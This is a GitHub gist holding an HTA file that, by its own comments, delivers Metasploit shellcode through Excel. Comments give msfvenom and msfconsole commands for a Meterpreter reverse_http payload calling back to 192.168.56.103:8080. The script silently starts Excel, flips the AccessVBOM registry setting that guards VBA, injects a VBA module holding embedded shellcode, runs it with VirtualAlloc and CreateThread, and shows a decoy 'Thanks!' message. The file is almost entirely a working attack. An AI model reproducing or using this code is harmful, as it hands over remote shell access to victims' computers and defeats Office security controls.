Created
February 15, 2016 18:09
-
-
Save johnjohnsp1/d6fed9b835d2cc5b030d to your computer and use it in GitHub Desktop.
Shellcode Execution Via HTA
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <!-- | |
| Example By Casey Smith @subTee | |
| Generate Shellcode: | |
| msfvenom --payload windows/meterpreter/reverse_http LHOST=192.168.56.103 LPORT=8080 --format vba > msf.vba | |
| Wrap Shellcode in HTA | |
| Deliver | |
| Start Msf | |
| msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_http;set LPORT 8080;set LHOST 192.168.56.103;set ExitOnSession false; exploit -j" | |
| Wait for Shells to Rain | |
| --> | |
| <head> | |
| <script> | |
| var objExcel = new ActiveXObject("Excel.Application"); | |
| objExcel.Visible = false; | |
| var WshShell = new ActiveXObject("WScript.Shell"); | |
| var Application_Version = objExcel.Version;//Auto-Detect Version | |
| var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM"; | |
| WshShell.RegWrite(strRegPath, 1, "REG_DWORD"); | |
| var objWorkbook = objExcel.Workbooks.Add(); | |
| var xlmodule = objWorkbook.VBProject.VBComponents.Add(1); | |
| var strCode = '#If Vba7 Then\n' | |
| strCode += ' Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Wqul As Long, ByVal Ptffs As Long, ByVal Dicgmq As LongPtr, Jvjy As Long, ByVal Tliank As Long, Qhzroqi As Long) As LongPtr\n' | |
| strCode += ' Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Gsu As Long, ByVal Mogxoelnw As Long, ByVal Cepms As Long, ByVal Ogsetm As Long) As LongPtr\n' | |
| strCode += ' Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Xqtcnmvvo As LongPtr, ByRef Tvrhhgq As Any, ByVal Leqnxbjew As Long) As LongPtr\n' | |
| strCode += '#Else\n' | |
| strCode += ' Private Declare Function CreateThread Lib "kernel32" (ByVal Wqul As Long, ByVal Ptffs As Long, ByVal Dicgmq As Long, Jvjy As Long, ByVal Tliank As Long, Qhzroqi As Long) As Long\n' | |
| strCode += ' Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Gsu As Long, ByVal Mogxoelnw As Long, ByVal Cepms As Long, ByVal Ogsetm As Long) As Long\n' | |
| strCode += ' Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Xqtcnmvvo As Long, ByRef Tvrhhgq As Any, ByVal Leqnxbjew As Long) As Long\n' | |
| strCode += '#EndIf\n' | |
| strCode += '\n' | |
| strCode += 'Sub ExecShell()\n' | |
| strCode += ' Dim Blewjd As Long, Cilsmgwg As Variant, Kqyqs As Long\n' | |
| strCode += '#If Vba7 Then\n' | |
| strCode += ' Dim Tttw As LongPtr, Vivgk As LongPtr\n' | |
| strCode += '#Else\n' | |
| strCode += ' Dim Tttw As Long, Vivgk As Long\n' | |
| strCode += '#EndIf\n' | |
| strCode += ' Cilsmgwg = Array(232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1, _\n' | |
| strCode += '199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193, _\n' | |
| strCode += '207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36, _\n' | |
| strCode += '91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,104,110,101,116, _\n' | |
| strCode += '0,104,119,105,110,105,84,104,76,119,38,7,255,213,49,219,83,83,83,83, _\n' | |
| strCode += '83,104,58,86,121,167,255,213,83,83,106,3,83,83,104,144,31,0,0,232, _\n' | |
| strCode += '29,1,0,0,47,74,67,57,118,109,110,115,117,109,111,99,71,107,81,101, _\n' | |
| strCode += '81,85,70,65,51,68,119,74,120,106,71,112,118,51,106,89,50,107,88,57, _\n' | |
| strCode += '121,98,65,103,77,103,69,65,116,117,81,120,49,79,86,111,97,88,105,80, _\n' | |
| strCode += '102,83,51,69,67,54,79,114,72,71,112,100,79,76,77,108,87,103,101,111, _\n' | |
| strCode += '89,101,109,80,82,50,85,110,57,109,55,119,74,112,107,98,66,57,105,55, _\n' | |
| strCode += '77,95,95,120,111,57,53,99,114,101,66,79,57,68,98,117,87,110,121,70, _\n' | |
| strCode += '114,75,119,84,118,55,80,69,108,76,114,56,76,101,83,117,82,50,50,116, _\n' | |
| strCode += '70,108,102,85,119,110,120,55,74,107,65,114,112,50,75,122,56,83,84,70, _\n' | |
| strCode += '87,75,78,102,52,105,111,74,45,73,89,102,102,114,113,98,57,0,80,104, _\n' | |
| strCode += '87,137,159,198,255,213,137,198,83,104,0,2,96,132,83,83,83,87,83,86, _\n' | |
| strCode += '104,235,85,46,59,255,213,150,106,10,95,83,83,83,83,86,104,45,6,24, _\n' | |
| strCode += '123,255,213,133,192,117,8,79,117,237,232,75,0,0,0,106,64,104,0,16, _\n' | |
| strCode += '0,0,104,0,0,64,0,83,104,88,164,83,229,255,213,147,83,83,137,231, _\n' | |
| strCode += '87,104,0,32,0,0,83,86,104,18,150,137,226,255,213,133,192,116,207,139, _\n' | |
| strCode += '7,1,195,133,192,117,229,88,195,95,232,139,255,255,255,49,57,50,46,49, _\n' | |
| strCode += '54,56,46,53,54,46,49,48,51,0,187,240,181,162,86,106,0,83,255,213 _\n' | |
| strCode += ')\n' | |
| strCode += '\n' | |
| strCode += ' Tttw = VirtualAlloc(0, UBound(Cilsmgwg), &H1000, &H40)\n' | |
| strCode += ' For Kqyqs = LBound(Cilsmgwg) To UBound(Cilsmgwg)\n' | |
| strCode += ' Blewjd = Cilsmgwg(Kqyqs)\n' | |
| strCode += ' Vivgk = RtlMoveMemory(Tttw + Kqyqs, Blewjd, 1)\n' | |
| strCode += ' Next Kqyqs\n' | |
| strCode += ' Vivgk = CreateThread(0, 0, Tttw, 0, 0, 0)\n' | |
| strCode += 'End Sub\n' | |
| xlmodule.CodeModule.AddFromString(strCode); | |
| objExcel.Run("ExecShell"); | |
| objExcel.DisplayAlerts = false; | |
| //objWorkbook.Close(false); | |
| //close(); //Auto Close HTA | |
| </script> | |
| </head> | |
| <body> | |
| Thanks! You May Now Close This. | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment